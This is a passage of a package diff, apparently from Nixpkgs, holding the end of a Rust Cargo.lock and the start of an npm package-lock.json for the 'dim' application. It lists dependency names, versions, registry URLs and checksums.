"c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "xmlwriter" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec7a2a501ed189703dba8b08142f057e887dfc4b2cc4db2d343ac6376ba3e0b9" + +[[package]] +name = "xtra" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bca0a1b28e7cf635b4e961c7330416bf842a89bca42f5c707ab02a065e1ee60f" +dependencies = [ + "async-trait", + "barrage", + "catty", + "flume 0.10.14", + "futures-core", + "futures-sink", + "futures-timer", + "futures-util", + "pollster", + "tokio", +] + +[[package]] +name = "xtra_proc" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0972940e244acf1715d05b50b6e937d2ca97db4247437e9d07c5eaf0d978ebb0" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "zip" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93ab48844d61251bb3835145c521d88aa4031d7139e8485990f60ca911fa0815" +dependencies = [ + "byteorder", + "bzip2", + "crc32fast", + "flate2", + "thiserror", + "time 0.1.43", +] + +[[package]] +name = "zstd" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bffb3309596d527cfcba7dfc6ed6052f1d39dfbd7c867aa2e865e4a449c10110" +dependencies = [ + "zstd-safe", +] + +[[package]] +name = "zstd-safe" +version = "7.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43747c7422e2924c11144d5229878b98180ef8b06cca4ab5af37afc8a8d8ea3e" +dependencies = [ + "zstd-sys", +] + +[[package]] +name = "zstd-sys" +version = "2.0.9+zstd.1.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e16efa8a874a0481a574084d34cc26fdb3b99627480f785888deb6386506656" +dependencies = [ + "cc", + "pkg-config", +] + +[[package]] +name = "zune-inflate" +version = "0.2.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73ab332fe2f6680068f3582b16a24f90ad7096d5d39b974d1c0aff0125116f02" +dependencies = [ + "simd-adler32", +] diff --git a/pkgs/by-name/di/dim/package-lock.json b/pkgs/by-name/di/dim/package-lock.json new file mode 100644 index 0000000000000..06c7e633ff595 --- /dev/null +++ b/pkgs/by-name/di/dim/package-lock.json @@ -0,0 +1,19412 @@ +{ + "name": "dim", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "dim", + "license": "SEE LICENSE IN LICENSE.md", + "dependencies": { + "@reduxjs/toolkit": "^1.7.1", + "@types/react-collapse": "^5.0.1", + "@types/react-modal": "^3.13.1", + "dashjs": "=4.1.0", + "fuse.js": "^6.6.2", + "jassub": "^1.7.1", + "react": "^17.0.2", + "react-collapse": "^5.1.1", + "react-dom": "^17.0.1", + "react-modal": "^3.12.1", + "react-redux": "^7.2.2", + "react-router": "^5.2.0", + "react-router-dom": "^5.2.0", + "react-router-hash-link": "^2.4.0", + "react-scripts": "^5.0.1", + "redux": "^4.0.5", + "reselect": "^4.0.0", + "sass": "^1.67.0", + "typescript": "^4.4.4", + "web-vitals": "^1.0.1" + }, + "devDependencies": { + "@babel/plugin-proposal-private-property-in-object": "^7.21.11", + "@testing-library/jest-dom": "^5.11.4", + "@testing-library/react": "^11.1.0", + "@testing-library/user-event": "^12.1.10", + "@types/jest": "^27.0.2", + "@types/node": "^16.11.1", + "@types/react": "^17.0.30", + "@types/react-dom": "^17.0.9", + "@types/react-redux": "^7.1.19", + "@types/react-router-dom": "^5.3.2", + "eslint-config-prettier": "^8.3.0", + "husky": "^7.0.4", + "lint-staged": "^12.1.5", + "prettier": "^2.5.1" + } + }, + "node_modules/@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.3.3.tgz", + "integrity": "sha512-rE0Pygv0sEZ4vBWHlAgJLGDU7Pm8xoO6p3wsEceb7GYAjScrOHpEo8KK/eVkAcnSM+slAEtXjA2JpdjLp4fJQQ==", + "dev": true + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.23.5.tgz", + "integrity": "sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==", + "dependencies": { + "@babel/highlight": "^7.23.4", + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.23.5.tgz", + "integrity": "sha512-uU27kfDRlhfKl+w1U6vp16IuvSLtjAxdArVXPa9BvLkrr7CYIsxH5adpHObeAGY/41+syctUWOZ140a2Rvkgjw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.23.9.tgz", + "integrity": "sha512-5q0175NOjddqpvvzU+kDiSOAk4PfdO6FvwCWoQ6RO7rTzEe8vlo+4HVfcnAREhD4npMs0e9uZypjTwzZPCf/cw==", + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.23.5", + "@babel/generator": "^7.23.6", + "@babel/helper-compilation-targets": "^7.23.6", + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helpers": "^7.23.9", + "@babel/parser": "^7.23.9", + "@babel/template": "^7.23.9", + "@babel/traverse": "^7.23.9", + "@babel/types": "^7.23.9", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/eslint-parser": { + "version": "7.23.10", + "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.23.10.tgz", + "integrity": "sha512-3wSYDPZVnhseRnxRJH6ZVTNknBz76AEnyC+AYYhasjP3Yy23qz0ERR7Fcd2SHmYuSFJ2kY9gaaDd3vyqU09eSw==", + "dependencies": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.11.0", + "eslint": "^7.5.0 || ^8.0.0" + } + }, + "node_modules/@babel/eslint-parser/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@babel/generator": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.6.tgz", + "integrity": "sha512-qrSfCYxYQB5owCmGLbl8XRpX1ytXlpueOb0N0UmQwA073KZxejgQTzAmJezxvpwQD9uGtK2shHdi55QT+MbjIw==", + "dependencies": { + "@babel/types": "^7.23.6", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.15.tgz", + "integrity": "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw==", + "dependencies": { + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.23.6.tgz", + "integrity": "sha512-9JB548GZoQVmzrFgp8o7KxdgkTGm6xs9DW0o/Pim72UDjzr5ObUQ6ZzYPqA+g9OTS2bBQoctLJrky0RDCAWRgQ==", + "dependencies": { + "@babel/compat-data": "^7.23.5", + "@babel/helper-validator-option": "^7.23.5", + "browserslist": "^4.22.2", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.23.10", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.23.10.tgz", + "integrity": "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-member-expression-to-functions": "^7.23.0", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.20", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.15.tgz", + "integrity": "sha512-29FkPLFjn4TPEa3RE7GpW+qbE8tlsu3jntNYNfcGsc49LphF1PQIiD+vMZ1z1xVOKt+93khA9tc2JBs3kBjA7w==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.5.0.tgz", + "integrity": "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q==", + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz", + "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz", + "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==", + "dependencies": { + "@babel/template": "^7.22.15", + "@babel/types": "^7.23.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.23.0.tgz", + "integrity": "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA==", + "dependencies": { + "@babel/types": "^7.23.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.15.tgz", + "integrity": "sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==", + "dependencies": { + "@babel/types": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.23.3.tgz", + "integrity": "sha512-7bBs4ED9OmswdfDzpz4MpWgSrV7FXlc3zIagvLFjS5H+Mk7Snr21vQ6QwrsoCGMfNC4e4LQPdoULEt4ykz0SRQ==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.20.tgz", + "integrity": "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-wrap-function": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.20.tgz", + "integrity": "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-member-expression-to-functions": "^7.22.15", + "@babel/helper-optimise-call-expression": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz", + "integrity": "sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz", + "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.23.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.23.5.tgz", + "integrity": "sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.20.tgz", + "integrity": "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw==", + "dependencies": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.15", + "@babel/types": "^7.22.19" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.23.9.tgz", + "integrity": "sha512-87ICKgU5t5SzOT7sBMfCOZQ2rHjRU+Pcb9BoILMYz600W6DkVRLFBPwQ18gwUVvggqXivaUakpnxWQGbpywbBQ==", + "dependencies": { + "@babel/template": "^7.23.9", + "@babel/traverse": "^7.23.9", + "@babel/types": "^7.23.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.23.4.tgz", + "integrity": "sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.23.9.tgz", + "integrity": "sha512-9tcKgqKbs3xGJ+NtKF2ndOBBLVwPjl1SHxPQkd36r3Dlirw3xWUeGaTbqr7uGZcTaxkVNwc+03SVP7aCdWrTlA==", + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.23.3.tgz", + "integrity": "sha512-iRkKcCqb7iGnq9+3G6rZ+Ciz5VywC4XNRHe57lKM+jOeYAoR0lVqdeeDRfh0tQcTfw/+vBhHn926FmQhLtlFLQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.23.3.tgz", + "integrity": "sha512-WwlxbfMNdVEpQjZmK5mhm7oSwD3dS6eU+Iwsi4Knl9wAletWem7kaRsGOG+8UEbRyqxY4SS5zvtfXwX+jMxUwQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.23.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.23.7.tgz", + "integrity": "sha512-LlRT7HgaifEpQA1ZgLVOIJZZFVPWN5iReq/7/JixwBtwcoeVGDBD53ZV28rrsLYOZs1Y/EHhA8N/Z6aazHR8cw==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-decorators": { + "version": "7.23.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.23.9.tgz", + "integrity": "sha512-hJhBCb0+NnTWybvWq2WpbCYDOcflSbx0t+BYP65e5R9GVnukiDTi+on5bFkk4p7QGuv190H6KfNiV9Knf/3cZA==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.23.9", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-decorators": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-nullish-coalescing-operator instead.", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-numeric-separator instead.", + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + 